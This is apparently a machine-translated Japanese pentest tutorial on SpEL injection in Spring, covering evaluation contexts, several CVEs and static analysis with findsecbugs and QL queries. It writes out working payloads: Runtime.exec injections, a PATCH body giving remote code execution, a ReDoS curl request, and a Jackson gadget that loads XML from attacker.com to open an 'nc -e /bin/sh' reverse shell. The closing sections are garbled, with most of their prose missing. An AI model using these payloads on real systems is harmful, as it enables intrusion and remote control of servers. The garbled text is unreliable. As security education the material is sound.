スペルインジェクション



イントロ



さまざまなサービスの作業および調査の過程で、Spring Frameworkにますます会うことができます。 そして論理的なステップは、その構造と潜在的な脆弱性を知ることです。







Pentesterにとって最も興味深いのは、コードの実行につながる脆弱性です。







SpringでRCEを取得する1つの方法は、SpEL式を注入することです。







この記事では、SpELとは何か、それがどこにあるのか、どのような機能が使用されているのか、そのような注入を見つける方法を理解しようとします。







なに?



SpELは、実行時にオブジェクトのクエリとグラフ管理をサポートするSpring Framework用に作成された式言語です。

SpELは、他のアプリケーションやフレームワークに統合できるAPIとして作成されたことに注意することも重要です。







どこで会えますか?



Spring FrameworkではSpELが常に使用されるのは当然です。 良い例はSpring Securityで、SpEL式を使用して権限が割り当てられます:







@PreAuthorize("hasPermission(#contact, 'admin')") public void deletePermission(Contact contact, Sid recipient, Permission permission);
      
      











Apache CamelはSpEL APIを使用します。 以下はそのドキュメントの例です。

SpEL式を使用した文字の形成:







 <route> <from uri="direct:foo"/> <filter> <spel>#{request.headers['foo'] == 'bar'}</spel> <to uri="direct:bar"/> </filter> </route>
      
      





または、外部ファイルのルールを使用して、たとえば、ヘッダーを指定できます。







 .setHeader("myHeader").spel("resource:classpath:myspel.txt")
      
      





GitHubで見られるいくつかの例を次に示します。

https://github.com/jpatokal/openflights













https://github.com/hbandi/LEP













Spring FrameworkとSpELの基本



読者がSpELインジェクションとは何かを理解しやすくするために、SpringとSpELについて少し知る必要があります。







Spring Frameworkの重要な要素はSpring Containerです。 コンテナはオブジェクトを作成し、それらを結び付け、作成から破棄までそれらを設定および管理します。







アプリケーションを構成するコンポーネントを制御するために、Spring Containerは

依存性注入。 これは、Spring Beanと呼ばれる外部エンティティを使用してオブジェクトが設定される場合です-口語的には「ビン」







Spring Containerは、次の情報を取得するために必要なBeanから構成メタデータを取得します:インスタンス化するオブジェクトの指示と、メタデータを介してそれらを構成する方法。







メタデータは3つの方法で取得できます。









そして、もう1つの重要なポイントは、アプリケーションコンテキストです。







ApplicationContextは、アプリケーション構成情報を提供するSpringアプリケーションのメインインターフェイスです。 実行時には読み取り専用ですが、必要に応じてリロードでき、アプリケーションでサポートされます。 ApplicationContextインターフェースを実装するクラスの数は、さまざまな構成パラメーターおよびアプリケーションタイプで使用できます。 本質的には、Springアプリケーション自体です。 コンテキストは、アプリケーション内で発生するさまざまなイベントに応答し、Beanのライフサイクルを制御する機能も提供します。













次に、Beanを定義し、SpEL式を使用する方法について直接説明します。







Bean.xml







典型的な使用例は、XMLの作成またはBeanコンポーネントの注釈付き定義へのSpELの統合です。







 <bean id=“exmple" class="org.spring.samples.NumberGuess"> <property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/> <property name="defaultLocale" value="#{ systemProperties['user.region'] }"/> <property name="defaultLocale2" value="${user.region}"/> </bean>
      
      





Bean.xmlファイルのコードの一部は、そのBeanの1つのみです。 アクセスできるビンのIDとプロパティに注意する価値があります。 なぜなら この記事の一部として、SpELを操作する可能性を検討しています。この例では、このような式を作成するためのいくつかのオプションを示します。







SpEL式が次に来ることをSpringに示すために、#文字が使用され、式自体は中括弧で囲まれています: #{SpEL_expression}



。 プロパティを参照するには、$文字を使用し、プロパティ名を中括弧で囲みます: ${someProperty}



。 プロパティプレースホルダーにはSpEL式を含めることはできませんが、式にはプロパティ参照を含めることができます。







 "#{${someProperty}"
      
      





したがって、必要なJavaクラスを呼び出すことができます。たとえば、環境変数にアクセスできます。これは、ユーザー名またはシステムのバージョンを判断するのに役立ちます。







このBeanの指定方法の便利さは、アプリケーション全体を再コンパイルせずにBeanを変更できるため、アプリケーションの動作が変更されることです。







以下に示すように、アプリケーション自体からApplicationContextインターフェースを使用してこのBeanにアクセスできます。







 ApplicationContext ctx = new ClassPathXmlApplicationContext(“Bean.xml”); MyExpression example = ctx.getBean(“example", MyExpression.class); " + "System.out.println(“Number : " + example.getValue()); System.out.println(“Locale : " + example.getDefaultLocale()); System.out.println(“Locale : " + example.getDefaultLocale2());
      
      





つまり アプリケーション内で、SpEL式を含むbinパラメーターの値を取得するだけです。 そのような値を受け取ったSpringは、式を実行し、最終結果を返します。 また、このコードは対応するゲッターなしでは機能しないことを忘れないでくださいが、その説明は記事の範囲外です。







Beanを指定する別の方法は、AnnotationBaseアノテーションメソッドです。パラメーター値は、あるクラスのアノテーション内に設定されます。 この場合、変数を使用することはできません。







 public static class FieldValueTestBean @Value("#{ systemProperties['user.region'] }") private String defaultLocale; public void setDefaultLocale(String defaultLocale) { this.defaultLocale = defaultLocale; } public String getDefaultLocale() { return this.defaultLocale; } }
      
      





SpEL式を作成するときに変数を使用できるようにするには、ExpressionParserインターフェイスを使用する必要があります。 そして、次の例のように、クラスがアプリケーションコードに表示されます。







 public void parseExpressionInterface(Person personObj,String property) { ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(property+" == 'Input'"); StandardEvaluationContext testContext = new StandardEvaluationContext(personObj); boolean result = exp.getValue(testContext, Boolean.class);
      
      





ExpressionParserは、文字列式をExpressionオブジェクトに変換します。 したがって、分析された式の値は、EvaluationContextのフレームワークで取得できます。 このEvaluationContextは、EL文字列内のすべてのプロパティと変数が利用できる唯一のオブジェクトになります。







別の重要な事実に注目する価値があります。 このSpELの使用方法では、式自体に加えて文字列リテラルが含まれている場合にのみ、文字列式に#を含める必要があります。







上記のすべてのうち、2つのことを覚えておく価値があります。

1)アプリケーションコードで検索できる場合は、SpelExpressionParser、EvaluationContext、parseExpressionなどのキーワードを探す必要があります。

2)Spring #{SpEL}



${someProperty}



およびT(javaclass)



にとって重要なポインター

SpringとSpELについて詳しく知りたい場合は、 docs.spring.ioのドキュメントに注意することをお勧めします。







SpELでできること



ドキュメントによると、SpELは次の機能をサポートしています。









ご覧のとおり、SpEL機能は非常に豊富であり、ユーザー入力がExpressionParserに入力されると、プロジェクトのセキュリティに悪影響を与える可能性があります。 したがって、Spring自体は、完全に機能するStandardEcalutionContextの代わりに、より短縮されたSimpleEvaluationContextを使用することをお勧めします。







手短に言えば、SimpleEvaluationContextにはJavaクラスにアクセスして他のBeanを参照する機能はありません。







機能の詳細な説明は、ドキュメントWebサイトで詳しく調べることができます。

StandardEvaluationContext

SimpleEvaluationContext







いくつかの修正は、異なるコンテキストで実行されるSpELの機能の違いにも基づいていますが、これについては後ほど説明します。







すべてを明確にするために、例を示します。 SpEL式を含む明らかに悪意のある行があります。







 String inj = "T(java.lang.Runtime).getRuntime().exec('calc.exe')";
      
      





また、2つのコンテキストがあります。







 StandardEvaluationContext std_c = new StandardEvaluationContext();
      
      





そして







 EvaluationContext simple_c = SimpleEvaluationContext.forReadOnlyDataBinding ().build();
      
      





式exp = parser.parseExpression(inj);

java exp.getValue(std_c);



- 電卓が起動します

java exp.getValue(simple_c);



- エラーメッセージが表示されます







同様に興味深い点は、コンテキストをまったく指定せずに式の処理を開始できることですexp.getValue();





この場合、式は標準コンテキスト内で実行され、その結果、悪意のあるコードが実行されます。 したがって、あなたがプログラマであり、Springを使用している場合、式を実行するコンテキストを設定することを忘れないでください。







少し前に、コンテキスト内のSpEL機能の違いに基づいていくつかの修正が行われると述べました。 そのような修正の例を考えてみましょう。







CVE 2018-1273 Spring Data Commons

この脆弱性はsetPropertyValueメソッドで発見され、2つの問題に基づいていました。

1)ExpressionParserに分類される変数の値の不衛生。

2)標準コンテキストのフレームでの式の実行。







コードの脆弱な部分のスクリーンショットは次のとおりです。













なぜなら プロパティの名前は、SpELフレームワーク内での複雑な処理を必要としませんでした;論理的な解決策は、コンテキストを置き換えることで、次のコードになりました。













スクリーンショットは、実行されるコンテキストと式を定義するコードの部分を示しています。 ただし、式の実行は他の場所で発生します。







 expression.setValue(context, value);
      
      





ここで、指定されたコンテキスト(コンテキスト)内の値valueに対してSpEL式(式)を実行することが示されます。

SimpleEvaluationContextを使用すると、parseExpressionでのJavaクラスの実装に対する保護に役立ち、サーバーログでコードを実行する代わりに、エラーが表示されます。







 Type cannot be found 'java.lang.Runtime'
      
      





しかし、これは十分な衛生状態の欠如による問題を解決せず、REDOS攻撃を実行する能力を保持しました。







 curl -X POST http://localhost:8080/account -d "name['aaaaaaaaaaaaaaaaaaaaaaaa!'%20matches%20'%5E(a%2B)%2B%24']=test"
      
      





したがって、次の修正には既にパラメーター名のサニタイズが含まれていました。







理論から実践へ!



ここで、White Boxメソッドを使用してSpELインジェクションを検索するいくつかの方法を見てみましょう。







ステップバイステップCVE-2017-8046



まず、SpEL式を処理する場所を見つける必要があります。 これを行うには、単に推奨事項を使用して、コード内のキーワードを見つけることができます。 これらの単語を思い出してください:SpelExpressionParser、EvaluationContext、およびparseExpression。







別のオプションは、さまざまなプラグインを使用してコード内のエラーを見つけることです。 これまで、可能なSpELインジェクションを指す唯一のプラグインはfindsecbugs-cliでした。

https://github.com/find-sec-bugs







それで、コードに興味のある場所を見つけました。 findsecbugs-cliを使用してみましょう。













アプリケーションコードでは、次のように表示されます。







 public class PathToSpEL { private static final SpelExpressionParser SPEL_EXPRESSION_PARSER = new SpelExpressionParser(); static final List<String> APPEND_CHARACTERS = Arrays.asList("-"); /** * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert. * @return an {@link Expression} */ public static Expression pathToExpression(String path) { return SPEL_EXPRESSION_PARSER.parseExpression(pathToSpEL(path)); }
      
      





次のステップは、パス変数が式パーサーに入る場所を見つけることです。 かなり便利で無料の方法の1つは、IntelijIdea IDE関数を使用することです-データフローの分析:













たとえば、指定されたメソッドおよびクラスを置換および調査するためにチェーンをほどくことにより、次のようになります。







ReplaceOperationメソッドは、パス変数の値を取ります。







 public ReplaceOperation(String path, Object value) { super("replace", path, value); }
      
      





そして、replaceメソッドを呼び出すには、値「replace」を持つ変数「op」をJSONに渡す必要があります。







 JsonNode opNode = elements.next(); String opType = opNode.get("op").textValue(); else if (opType.equals("replace")) { ops.add(new ReplaceOperation(path, value));
      
      





同様に、ユーザーが必要な値をパス変数に渡すことができるすべての場所を見つけます。 そして、脆弱性の悪用オプションの1つは次のようになります。

リクエスト方法:PATCH

リクエスト本文:







 [{ "op" : "add", "path" : "T(java.lang.Runtime).getRuntime().exec(\"calc.exe\").x", "value" : "pwned" }]
      
      





LGTM QLの使用



LGTM QLの使用(この記事の目的上、単にQLに単純化する)は、脆弱性を検索する別の興味深い方法です。

https://lgtm.com







すぐにその不足を規定する必要があります。 無料で、GitHubのオープンリポジトリにあるプロジェクトのみを分析できます。 プロジェクトの写真を撮るために、LGTMはプロジェクトをサーバーにアップロードし、そこでコンパイルします。 しかし、これが気にならなければ、LGTM QLはアプリケーションコードを分析する大きな機会を開きます。







QLアプリケーション分析とは何ですか?







まず、既に述べたように、アプリケーションのスナップショットを作成する必要があります。







スナップショットの準備が完了し、これに数時間かかる場合、QL構文の一部としてSQLのようなクエリの作成を開始できます。 これを行うには、Eclipseのプラグインを使用するか、プロジェクトのQLページのコンソールで直接操作します。







なぜなら 現在、Springを検討しています。これはJavaのフレームワークです。関心のあるクラスと、呼び出しが脆弱であると考えられるこのクラスのメソッドを記述する必要があります。 私たちにとって、これはExpressionParserを呼び出すメソッドを含むクラスです。







次に、要件を満たしたすべてのメソッドを選択します。たとえば、サニタイズするメソッドでの変数の出現と、このメソッドに該当しない条件を説明します。













それでは、CVE脆弱性2018-1273を見つけるために何をする必要がありますか?

プロジェクトイメージを受け取って接続したら、QLコンソールを使用して、興味のあるコールツリーを記述します。 これを行うには:

Expressionパーサークラスについて説明します。







 class ExpressionParser extends RefType { ExpressionParser() { this.hasQualifiedName("org.springframework.expression", "ExpressionParser") } }
      
      





また、ExpressionParserクラス内での実行に使用できるメソッド:







 class ParseExpression extends MethodAccess { ParseExpression() { exists (Method m | (m.getName().matches("parse%") or m.hasName("doParseExpression")) and this.getMethod() = m ) } }
      
      





次に、これらの説明を相互に接続して選択する必要があります。







 from ParseExpression expr where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser) select expr
      
      





このようなクエリは、parseまたはExpressionParserクラスに属するdoParseExpressionという名前で始まるすべてのメソッドを返します。 しかし、それは多すぎるとあなたは言います、そしてあなたは正しいでしょう。 フィルターが必要です。







なぜなら コードには、次の形式のコメントがあります。







 * Converts a patch path to an {@link Expression}. * * @param path the patch path to convert.
      
      





たとえば、Javadocで「パス」を検索する場合があります。 Springはコードに対して非常に高品質のコメントを付け、必要なコメントを含むメソッド呼び出しを見つけることができ、同時にテストに含まれるすべてのメソッドを削除できます。 これはすべて次のように説明できます。







 class CallHasPath extends Callable { CallHasPath() { not this.getDeclaringType() instanceof TestClass and ( this.getDoc().getJavadoc() instanceof DocHasPath or this.getDeclaringType().getDoc().getJavadoc() instanceof DocHasPath ) } }
      
      





次に、クラス、メソッド、およびJavadocによるフィルターを組み合わせるために、選択のクエリは次の形式を取ります。







 from ParseExpression expr, CallHasPath c where (expr.getQualifier().getType().(RefType).getASupertype*() instanceof ExpressionParser and c = expr.getEnclosingCallable()) select expr, c
      
      





この例は、特定の脆弱性を検索するために単純で、一般的に冗長であると考えることができます。 さらに興味深いのは、修正を記述する際のエラーの検索です。 その中で、チェックを行うクラス、常にそれを呼び出し、チェックされる前に実行されるメソッド自体を指定する必要があります。







常にverifyPathを呼び出すメソッドの呼び出し:







 class VerifyPathCallerAccess extends MethodAccess { VerifyPathCallerAccess() { exists(VerifyPathActionConf conf | conf.callAlwaysPerformsAction(this) ) or this.getMethod() instanceof VerifyPath } }
      
      





verifyPathの前に実行されるメソッドの呼び出し:







 class UnsafeEvaluateCall extends MethodAccess { UnsafeEvaluateCall() { ( this.getMethod() instanceof Evaluate or exists(UnsafeEvaluateCall unsafe | this.getMethod() = unsafe.getEnclosingCallable() ) ) and not exists(VerifyPathCallerAccess verify | dominates(verify, this) ) } }
      
      





別の興味深い脆弱性を検討してください。 彼女の理解は非常に重要です エラーがサードパーティのライブラリにある可能性があることを示し、XML注釈付きBeanの使用方法を示します。







ジャクソンと豆



CVE-2017-17485は、FileSystemXmlApplicationContextの使用に基づいています。これは、ファイルシステムまたはURLからコンテキスト定義ファイルを受け取るXML形式のスタンドアロンアプリケーションコンテキストです。







ドキュメントによると、これにより、ファイルからBeanをロードし、アプリケーションコンテキストをリロードできます。

「...新しいFileSystemXmlApplicationContextを作成し、指定されたXMLファイルから定義をロードし、コンテキストを自動的に更新します」







ジャクソンは、ブラックリストに載っていないオブジェクトをシリアル化および非シリアル化できるライブラリです。 この機会は、攻撃者によってよく使用されます。 この脆弱性の場合、攻撃者はorg.springframework.context.support.FileSystemXmlApplicationContext



オブジェクトに、攻撃者が制御するファイルへのパスを含む値を渡す必要がありました。







つまり リクエストの本文では、次のJSONを渡すことができます。







 {"id":123, "obj": ["org.springframework.context.support.FileSystemXmlApplicationContext", "https://attacker.com/spel.xml"]}
      
      





Spel.xmlには、Beanのパラメーターが含まれます。







 <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder"> <constructor-arg> <list value-type="java.lang.String" > <value>nc</value> <value>XXXX</value> <value>9999</value> <value>-e</value> <value>/bin/sh</value> </list> </constructor-arg> <property name="whatever" value="#{pb.start()}"/> </bean> </beans>
      
      





なぜなら コンテキストをリロードした後、startメソッドを持つBeanクラスjava.lang.ProcessBuilderを使用したため、SpringはSpELプロパティからProcessBuilderを開始する式を読み取り、ncを使用してサーバーを強制的に接続します。







例として与えられたspel.xmlに注意を払う価値があります。 コマンドの実行時にパラメーターを渡す方法を示します。







そして、他にどのようにしてBeanをロードしたり、コンテキストをリロードしたりできますか?







Springのドキュメントを一目見ただけでも、さらに役立つクラスを見つけることができます。







ClassPathXmlApplicationContextおよびAbstractXmlApplicationContextはFileSystemに似ていますが、ClassPathおよびXML注釈付きBeanがそれぞれ構成へのパスとして使用されます。







コンテキストのリロードに関連するもう1つの興味深い点があります-@RefreshScope。







@RefreshScopeアノテーションが付けられたSpring Beanは、起動時に更新されます。 そして、それを使用するすべてのコンポーネントは、メソッドが次に呼び出されたときに新しいオブジェクトを受け取り、それらは完全に初期化され、それに応じて導入されます。







RefreshScopeはコンテキスト内のコンポーネントであり、ターゲットキャッシュをクリアすることでエリア内のすべてのコンポーネントを更新するように設計されたpublic refreshAllメソッドがあります。 したがって、@ RefreshScopeを使用すると、ユーザーは/ refreshで終わるURLにアクセスして、注釈付きBeanをリロードできます。







その他のユーティリティ



コードを分析して脆弱性を見つけることができる他の多くのプラグインとプログラムがあります。















マイナスのうち-有料ですが、10日間の無料期間があります。 セキュリティの観点だけでなく、アプリケーションの動作を分析するのに最適なユーティリティの1つと考えられています。









ブラックボックス



-, .

, : Spring, SpEL, , SpEL API, -, .







spring, URL, API. /metrics /beans — Spring Boot Actuator , .







, .







, SpEL , , .









:



 ${1+3} T(java.lang.Runtime).getRuntime().exec("nslookup !url!") #this.getClass().forName('java.lang.Runtime').getRuntime().exec('nslookup !url!') new java.lang.ProcessBuilder({'nslookup !url!'}).start() ${user.name}
      
      





SpEL



SpEL , , EL Injection. : OGNL, MVEL, JBoss EL, JSP EL. - .







結論として



ZeroNights : “ , Spring, SpEL injection?”







, CVE, . , , github.







, , SpEL Expression. つまり (, ) , .







つまり . , , “” .








All Articles